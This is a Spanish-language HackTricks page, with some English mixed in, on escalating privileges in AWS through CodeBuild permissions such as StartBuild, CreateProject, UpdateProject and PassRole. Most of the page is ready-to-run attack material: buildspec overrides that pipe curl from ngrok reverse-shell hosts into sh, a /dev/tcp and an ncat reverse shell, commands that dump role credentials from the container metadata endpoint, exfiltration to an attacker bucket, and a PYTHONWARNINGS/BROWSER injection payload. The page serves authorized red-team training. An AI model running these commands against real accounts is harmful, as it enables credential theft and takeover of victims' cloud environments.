AWS - Codebuild Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

codebuild

Más información en:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Con solo uno de estos permisos es suficiente para iniciar un build con un nuevo buildspec y robar el token del iam role asignado al proyecto:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Nota: La diferencia entre estos dos comandos es que:

  • StartBuild triggers a single build job using a specific buildspec.yml.
  • StartBuildBatch allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).

Impacto potencial: Privesc directo a los roles adjuntos de AWS Codebuild.

StartBuild: Sobrescritura de variables de entorno

Incluso si no puedes modificar el proyecto (UpdateProject) y no puedes sobrescribir el buildspec, codebuild:StartBuild aún permite sobrescribir env vars en tiempo de build vía:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

Si el build usa variables de entorno para controlar comportamiento (destination buckets, feature flags, proxy settings, logging, etc.), esto puede ser suficiente para exfiltrate secrets a los que el build role tiene acceso o para obtener code execution dentro del build.

Ejemplo 1: Redirigir destino de Artifact/Upload para Exfiltrate Secrets

Si el build publica un artifact en un bucket/path controlado por una variable de entorno (por ejemplo UPLOAD_BUCKET), sobrescríbelo con un bucket controlado por el atacante:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Ejemplo 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

Si la build ejecuta python3 (común en buildspecs), a veces puedes obtener ejecución de código sin tocar el buildspec abusando de:

  • PYTHONWARNINGS: Python resuelve el category field e importará dotted paths. Configurarlo a ...:antigravity.x:... forza la importación del módulo stdlib antigravity.
  • antigravity: llama a webbrowser.open(...).
  • BROWSER: controla qué ejecuta webbrowser. En Linux está separado por :. Usar #%s convierte el argumento URL en un comentario de shell.

Esto puede usarse para imprimir las credenciales del role de CodeBuild (desde http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) en los logs de CloudWatch, y luego recuperarlas si tienes permisos de lectura de logs.

Expandible: Solicitud JSON StartBuild para el PYTHONWARNINGS + BROWSER trick ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Un atacante con los permisos iam:PassRole, codebuild:CreateProject, y codebuild:StartBuild o codebuild:StartBuildBatch podría escalar privilegios a cualquier rol IAM de codebuild creando uno en ejecución.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Impacto potencial: Direct privesc to any AWS Codebuild role.

Warning

En un Codebuild container el archivo /codebuild/output/tmp/env.sh contiene todas las env vars necesarias para acceder a las metadata credentials.

Este archivo contiene la variable de entorno AWS_CONTAINER_CREDENTIALS_RELATIVE_URI que contiene la ruta URL para acceder a las credenciales. Será algo así /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Añádelo a la URL http://169.254.170.2/ y podrás volcar las credenciales del role.

Además, también contiene la variable de entorno ECS_CONTAINER_METADATA_URI que contiene la URL completa para obtener información de metadata sobre el contenedor.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Al igual que en la sección anterior, si en lugar de crear un build project puedes modificarlo, puedes indicar el IAM Role y robar el token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impacto potencial: privesc directo a cualquier rol de AWS Codebuild.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Como en la sección anterior pero sin el permiso iam:PassRole, puedes abusar de estos permisos para modificar proyectos existentes de Codebuild y acceder al rol que ya tienen asignado.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impacto potencial: Privesc directo a los roles adjuntos de AWS Codebuild.

SSM

Teniendo enough permissions to start a ssm session, es posible acceder inside a Codebuild project en construcción.

El proyecto Codebuild necesitará tener un breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

Y luego:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Para más información check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Un atacante capaz de iniciar o reiniciar una build de un proyecto específico de CodeBuild, cuyo archivo buildspec.yml se almacena en un bucket S3 al que el atacante tiene permisos de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.

Nota: la escalada solo es relevante si el CodeBuild worker tiene un rol distinto —preferiblemente más privilegiado— que el del atacante.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Puedes usar algo como este buildspec para obtener una reverse shell:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: Privesc directo al rol usado por el worker de AWS CodeBuild que normalmente tiene altos privilegios.

Warning

Ten en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante tendría que descargar, descomprimir, modificar el buildspec.yml desde el directorio raíz, volver a comprimirlo y subirlo

More details could be found here.

Potential Impact: Privesc directo a los roles adjuntos de AWS Codebuild.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks